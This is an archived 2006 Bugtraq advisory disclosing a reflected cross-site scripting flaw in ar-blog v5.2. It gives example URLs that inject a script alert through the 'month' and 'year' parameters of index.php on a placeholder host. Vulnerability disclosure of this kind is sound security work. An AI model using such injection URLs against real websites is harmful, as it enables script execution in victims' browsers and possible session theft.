bugtraq - -2- [XSS] in ar-blog v 5.2

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060118135258.15017.qmail@securityfocus.com>
Date: 18 Jan 2006 13:52:58 -0000
From: s3ude@...mail.com
To: bugtraq@...urityfocus.com
Subject: -2- [XSS]  in ar-blog v 5.2


Software: ar-blog 
Web Site: http://www.ar-blog.com
Versions: ar-blog v 5.2
Type: Cross Site Scripting
Class: Remote



Exploit : 

1-

http://www.target.com/index.php?page=showtopis&month=[XSS]&year=1426&all=9

2-

http://www.target.com/index.php?page=showtopis&month=9&year=[XSS]&all=9

Example : 

1-

http://www.target.com/index.php?page=showtopis&month=<script>alert("www.LeZr.Com")</script>

2- 

http://www.target.com/index.php?page=showtopis&month=9&year=<script>alert("www.LeZr.Com")</script>&all=9

Discovered by: SAUDI

L-G-H Team

http://www.lezr.com

Regards ///